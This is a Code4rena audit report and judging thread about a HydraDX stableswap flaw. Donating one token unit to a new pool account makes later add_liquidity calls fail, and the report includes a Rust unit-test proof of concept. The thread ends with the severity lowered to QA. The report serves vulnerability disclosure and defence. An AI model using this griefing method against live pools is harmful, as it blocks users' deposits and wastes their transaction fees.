Donating 1 Unit of Tokens to a New Pool Could Block Users from Adding Liquidity

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L1053-L1059

Vulnerability details

Impact

When adding a new pool, an attacker could donate 1_u128 tokens to the pool account (this attack would work also by donating 1 token to a max of (n-1) Token in a pool of n tokens)
after having this condition met, each subsequent add_liquidity() call for this new created pool would revert with an arithmetic overflow error.

The attacker could use this bug to block users from adding liquidity to the pool, and costing them transactions fees.

Proof of Concept

By donating at least 1 unit of a token to the pool account and leaving at least a token uninitialized, in do_add_liquidity() the array initial_reserves would contain at least a zero amount. For a new pool of asset_a and asset_b after donating 1 unit to asset_b the initial_reserves would look like this

initial_reserves: [AssetReserve { amount: 0, decimals: 12 }, AssetReserve { amount: 1, decimals: 12 }]

This array would be supplied to hydra_dx_math::stableswap::calculate_shares() (source)
The inital_reserves array would then be handled in the function calculate_d()
(source)

	let initial_d = calculate_d::<D>(initial_reserves, amplification)?;

Which would then throw an error, because the initial_reserves contain a zero amount.

pub(crate) fn calculate_d_internal<const D: u8>(xp: &[Balance], amplification: Balance) -> Option<Balance> {
	let two_u256 = to_u256!(2_u128);

	// Filter out zero balance assets, and return error if there is one.
	// Either all assets are zero balance, or none are zero balance.
	// Otherwise, it breaks the math.
	let mut xp_hp: Vec<U256> = xp.iter().filter(|v| !(*v).is_zero()).map(|v| to_u256!(*v)).collect();
	if xp_hp.len() != xp.len() && !xp_hp.is_empty() {
		return None;

To run the Proof of Concept add the following code to pallets/stableswap/src/tests/add_liquidity.rs

#[test]
fn donation_attack_by_pool_initialization_leads_to_dos() {
	let pool_id: AssetId = 100u32;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, 1, 200 * ONE),
			(BOB, 2, 200 * ONE),
			(ALICE, 1, 200 * ONE),
			(ALICE, 2, 200 * ONE),
		])
		.with_registered_asset("pool".as_bytes().to_vec(), pool_id, 12)
		.with_registered_asset("one".as_bytes().to_vec(), 1, 12)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 12)
		.build()
		.execute_with(|| {
			let asset_a: AssetId = 1;
			let asset_b: AssetId = 2;
			let amplification: u16 = 100;

			assert_ok!(Stableswap::create_pool(
				RuntimeOrigin::root(),
				pool_id,
				vec![asset_a, asset_b],
				amplification,
				Permill::from_percent(0),
			));

			let initial_liquidity_amount = 100 * ONE;
			let pool_account = pool_account(pool_id);
			println!("BOB balance: {:?}", Tokens::free_balance(asset_b, &BOB));
			println!("Pool balance: {:?}", Tokens::free_balance(asset_b, &pool_account));
			let _ = Tokens::transfer(
				RuntimeOrigin::signed(BOB),
				pool_account.clone(),
				asset_b,
				1_u128,
			);
			println!("BOB balance: {:?}", Tokens::free_balance(asset_b, &BOB));
			println!("Pool balance: {:?}", Tokens::free_balance(asset_b, &pool_account));

			assert_ok!(Stableswap::add_liquidity(
				RuntimeOrigin::signed(BOB),
				pool_id,
				vec![
					AssetAmount::new(asset_a, initial_liquidity_amount),
					AssetAmount::new(asset_b, initial_liquidity_amount),
					
				]
			));
		});
}

Tools Used

Manual Review, Substrate

Recommended Mitigation Steps

To prevent this attack vector, it is recomended to either donate a small amount of each tokens to the newly created pool, to make sure that the transaction wouldn't revert, or to adjust the logic in do_add_liquidity to remove zero amounts from the initial_reserves array.

Assessed type

DoS

[c4-pre-sort]

0xRobocop marked the issue as primary issue

[c4-pre-sort]

0xRobocop marked the issue as sufficient quality report

[c4-pre-sort]

0xRobocop marked the issue as high quality report

[c4-sponsor]

enthusiastmartin (sponsor) confirmed

[c4-sponsor]

enthusiastmartin marked the issue as disagree with severity

[enthusiastmartin]

This might be an issue but we disagree with severity.

The creation of pool is not permissionless and it is always batched together with add_liquidity to provide initial liquidity.

[OpenCoreCH]

While the creation is not permissionless and should be batched together with add_liquidity, this is not enforced by the system. The warden demonstrated how an attacker could cause a DoS for newly created pools under some conditions (that may not happen typically in practice, but could happen). Therefore Medium is appropriate here.

[c4-judge]

OpenCoreCH marked the issue as selected for report

[Frankcastleauditor]

this DoS state can simply be mitigated by donating a minimum non-zero amount of the assets that have zero reserves , because the condition of this attack is to have at least one reserve to be zero ,and the rest of reserves of the other assets in the pool are non-zero reserves , this action will allow liquidity addition again , with almost tiny cost and without any permissioned calls .
if the pool has asset_a reserve = 100 units and asset_b reserve = 0
this will prevent liquidity addition , but if a minimum non-zero amount got transferred to the asset_b reserve , the liquidity addition will got enabled again .
so I am asking to decrease the severity of this finding to QA .

[OpenCoreCH]

After reconsideration of the issue, the impact in the worst case is indeed only a DoS that is very easily recoverable (and is very improbable). So this is comparable with e.g. frontrunning of initializers (where redeployment is the solution), which historically have been considered QA.

[c4-judge]

OpenCoreCH changed the severity to QA (Quality Assurance)

[c4-judge]

OpenCoreCH marked the issue as grade-b

[c4-judge]

OpenCoreCH marked the issue as not selected for report